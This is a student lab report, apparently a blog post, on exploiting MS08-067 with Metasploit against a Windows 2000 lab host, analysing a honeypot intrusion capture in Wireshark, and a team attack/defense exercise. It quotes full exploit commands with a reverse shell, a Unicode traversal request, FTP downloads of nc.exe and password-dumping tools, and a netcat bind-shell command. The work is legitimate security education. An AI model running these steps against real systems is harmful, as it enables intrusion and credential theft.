20252817 2025-2026-2 《网络攻防实践》实践六报告

学号 20252817 2025-2026-2 《网络攻防实践》实践六报告

1. 实践内容

本次实践主要包括三个部分:一是使用 Metasploit 对 Windows 靶机上的 MS08-067 漏洞进行远程渗透;二是使用 Wireshark 对老师提供的攻击日志进行分析,还原一次成功的 NT 系统入侵过程;三是和同学进行一次简单的团队对抗实验,从攻击方和防守方两个角度观察 Windows 远程渗透攻击。

和前几次更偏向规则配置、防火墙和入侵检测的实验相比,这次更强调“攻击是怎么打进去的”和“事后怎么把攻击过程还原出来”。做完之后,我对漏洞利用、取证分析和流量观察之间的关系有了更具体的理解。

2. 实践过程

2.1 动手实践:Metasploit Windows 远程渗透攻击

这一部分我使用 Kali 作为攻击机,Win2000_Server_SP0_target 作为靶机,对 MS08-067 漏洞进行利用测试。实验中靶机 IP 为 192.168.200.131。开始时我先在 Kali 中启动 msfconsole,然后搜索并加载对应模块。

msfconsole
search ms08_067
use exploit/windows/smb/ms08_067_netapi

image

image

进入模块后,我先用 show options 查看参数要求,再设置目标地址和回连地址。这里我一开始没有成功,后来排查发现 Kali 有两块网卡,真正和靶机在同一网段的是 192.168.200.194,所以 LHOST 需要填这个地址,而不是另一块网卡的地址。

show options
set RHOSTS 192.168.200.131
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.200.194

image

接着我查看可选目标,并手动指定 Windows 2000 Universal,同时补充 SMB 相关参数。前面测试时如果不设置管理员账号密码,模块会在 SMB 登录阶段失败,所以这里需要把参数补全。

show targets
set TARGET 1
set SMBPIPE SRVSVC
set SMBUser Administrator
set SMBPass 123456
set RPORT 445

image

image

参数设置完成后执行漏洞利用命令:

exploit

运行结果显示如下:

[*] Started reverse TCP handler on 192.168.200.194:4444
[*] 192.168.200.131:445 - Attempting to trigger the vulnerability...
[*] Sending stage (240 bytes) to 192.168.200.131
[*] Command shell session 1 opened (192.168.200.194:4444 -> 192.168.200.131:1044)

Shell Banner:
Microsoft Windows 2000 [Version 5.00.2195]

image

从结果可以看出,靶机已经成功回连到 Kali,我拿到了一个可交互的 command shell,本次漏洞利用成功。这个过程也说明,使用 Metasploit 时不仅要选对模块,还要注意网卡、端口状态和 SMB 参数这些细节。

2.2 取证分析实践:解码一次成功的 NT 系统破解攻击

这一部分我是在 Kali 中使用 Wireshark 打开老师提供的 snort-0204@0117.log 文件进行分析的。题目给出的信息是:攻击者地址为 212.116.251.162,被攻击的蜜罐主机为 172.16.1.106,主机名是 lab.wiretrip.net。虽然文件扩展名是 .log,但它本质上是抓包文件,可以直接用 Wireshark 打开。分析时我主要使用了“查找字符串”和“Follow TCP Stream”两种方法。

先看前面的 HTTP 请求,可以发现攻击者先访问了网站主页和留言页面,说明他先在做普通探测。继续追踪数据流后,可以看到下面这样的请求:

GET /guest/default.asp/..%C0%AF../..%C0%AF../..%C0%AF../boot.ini HTTP/1.1

后面的响应中返回了 boot.ini 内容,说明攻击者先利用 Unicode 目录遍历漏洞读取了系统文件,并借此确认目标是一台 Windows NT 主机。

image

继续分析后又能看到攻击者访问了 msadcs.dll,并向它发送请求:

GET /msadc/msadcs.dll HTTP/1.0
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1

这说明攻击者开始利用 msadc 相关漏洞执行命令。结合已有资料,可以判断这里使用的关键工具是 msadc2.pl。也就是说,攻击者先通过目录遍历摸清系统情况,再利用 msadc2.pl 真正进入系统。

image

在后续数据流中,还可以看到攻击者复制 cmd.execmd1.exe,然后通过 FTP 下载 nc.exepdump.exesamdump.dll 等工具。其中 nc.exe 主要用来建立远程控制,pdump.exesamdump.dll 则和口令提取有关。

copy C:\winnt\system32\cmd.exe cmd1.exe
open+213.116.251.162+>ftpcom
echo+get+nc.exe+>>ftpcom
echo+get+pdump.exe+>>ftpcom
echo+get+samdump.dll+>>ftpcom

image

继续往后看,还能发现下面这条命令:

cmd1.exe?/c+nc+-l+-p+6969+-e+cmd1.exe

这说明攻击者已经在目标主机上建立了后门,把命令解释器绑定到了 6969 端口上。拿到访问权限之后,攻击者又继续查看系统信息、尝试提取口令,并维持对主机的控制。

最后,在后续流量中可以看到一条很明显的内容:

echo best honeypot i've seen till now :) > rfp.txt

这说明攻击者后来已经意识到这台机器是一台蜜罐主机。

image

综合来看,这次攻击大致经过了“前期探测 -> 目录遍历读文件 -> 利用 msadc2.pl 执行命令 -> 下载工具 -> 建立后门 -> 后续控制”这几个阶段。要防止这类攻击,最重要的还是及时修补 IIS 和 RDS 相关漏洞,关闭不必要的高风险组件,同时加强日志审计和对异常外联行为的限制。

2.3 团队对抗实践:Windows 系统远程渗透攻击和分析

这一部分实验中,我作为攻击方,谭韬作为防守方。两人的宿主机先连接到同一个局域网中,再将参与实验的虚拟机网卡设置为桥接模式。之后我使用 Kali 对谭韬的 Win2000_Server_SP0_target 发起远程渗透攻击,谭韬则使用 Wireshark 对相关流量进行分析。

本次实验中,我的攻击机 IP 为 192.168.5.9,谭韬的靶机 IP 为 192.168.5.13。正式攻击前,我先测试了网络连通性。

ping 192.168.5.13

image

2.3.1 进行攻击

Kali 中启动 msfconsole 后,我继续使用 MS08-067 对应的漏洞模块,并设置关键参数:

use exploit/windows/smb/ms08_067_netapi
set PAYLOAD windows/shell/reverse_tcp
set RHOSTS 192.168.5.13
set LHOST 192.168.5.9
set TARGET 1
set RPORT 445
set SMBPIPE SRVSVC
set SMBUser Administrator
set SMBPass mima1234

image

随后执行:

exploit

执行结果如下:

[*] Started reverse TCP handler on 192.168.5.9:4444
[*] 192.168.5.13:445 - Attempting to trigger the vulnerability...
[*] Sending stage (240 bytes) to 192.168.5.13
[*] Command shell session 2 opened (192.168.5.9:4444 -> 192.168.5.13:1043)

Shell Banner:
Microsoft Windows 2000 [Version 5.00.2195]

image

image

这说明攻击已经成功,我拿到了目标主机的命令行控制权限。

2.3.2 防守方分析

在我发起攻击的同时,谭韬在防守侧使用 Wireshark 对攻击过程进行观察。为了便于分析,可以使用下面的过滤条件:

ip.addr == 192.168.5.9 && ip.addr == 192.168.5.13

或者直接过滤关键端口:

tcp.port == 445 || tcp.port == 4444

image

从抓到的流量中可以看出,攻击机先对靶机的 445 端口发起连接并触发漏洞;成功之后,靶机再向攻击机的 4444 端口发起回连,例如可以关注类似 192.168.5.13:1043 -> 192.168.5.9:4444 这样的会话。这样一来,防守方至少可以分析出攻击源地址、目标地址、攻击端口以及回连端口这些关键信息。

image

通过这次团队对抗实验,我更清楚地看到,攻击方关注的是怎么把漏洞利用成功,而防守方关注的是怎样从流量中把攻击过程还原出来。把这两部分结合起来看,对整个实验的理解会更完整。

3. 学习中遇到的问题及解决

  • 问题1:模块能识别目标,但一直拿不到 session。
    一开始先后出现过 Connection refusedno session was createdSTATUS_LOGON_FAILURE 等提示,说明问题不只是一个地方。

  • 问题1解决方案:
    先检查 139/445 端口是否正常,再确认 Win2000 的共享服务和管理员密码是否设置正确,最后把 LHOST 改成与靶机同网段的那块网卡地址。参数调正确之后,漏洞利用就成功了。

  • 问题2:第二问一开始看起来很乱,不容易把攻击过程串起来。
    只看零散的数据包时,很容易看不清攻击者到底做了什么。

  • 问题2解决方案:
    我后来按“探测 -> 读文件 -> 命令执行 -> 下载工具 -> 建立后门 -> 后续操作”这个顺序整理,整个过程就清楚多了。

  • 问题3:团队对抗实验中,攻击和分析要结合着看。
    如果只盯着 Metasploit 终端,或者只看 Wireshark 抓包,都会觉得信息不完整。

  • 问题3解决方案:
    我把 Metasploit 成功建立会话的时间和 Wireshark 中对应的连接一起对照,这样更容易看出攻击前后发生了什么。

4. 实践总结

通过这次实践,我对 Windows 远程漏洞利用和攻击取证分析有了更具体的认识。Metasploit 这一部分让我明白,漏洞利用不只是执行一条命令,网卡、端口和账号密码这些细节也会直接影响结果。第二问则让我看到,一次完整攻击其实是由多个步骤组成的,只要把这些流量和命令放到一起看,很多过程都是可以还原出来的。

团队对抗部分让我感受更明显的一点是,攻击和防守并不是分开的两件事。攻击方在做什么,往往都会在流量里留下痕迹;而防守方如果能抓到这些痕迹,就能反过来分析攻击过程。通过这次实验,我对漏洞利用、流量分析和取证之间的联系理解得更清楚了。

参考资料

posted @ 2026-04-22 21:54  ch_c  阅读(5)  评论(0)    收藏  举报